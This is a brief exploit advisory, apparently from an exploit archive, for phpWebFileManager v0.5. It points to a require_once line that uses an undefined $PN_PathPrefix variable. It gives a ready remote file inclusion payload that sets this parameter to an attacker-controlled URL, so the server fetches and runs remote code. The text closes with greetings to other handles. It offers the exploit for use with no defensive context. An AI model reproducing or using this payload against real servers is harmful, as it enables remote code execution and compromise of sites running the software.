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MEFISTO PreSents...

Script: phpWebFileManager v0.5
Script Download: http://platon.sk/projects/download.php?id=2

Contact: ilker Kandemir <ilkerkandemir[at]mynet.com>

Code:
require_once $PN_PathPrefix . 'functions.inc.php';  <<==== it's not defined

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Exploit:  index.php?PN_PathPrefix=http://attacker.txt?

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Tnx:H0tturk,Ajann,Dumenci,Str0ke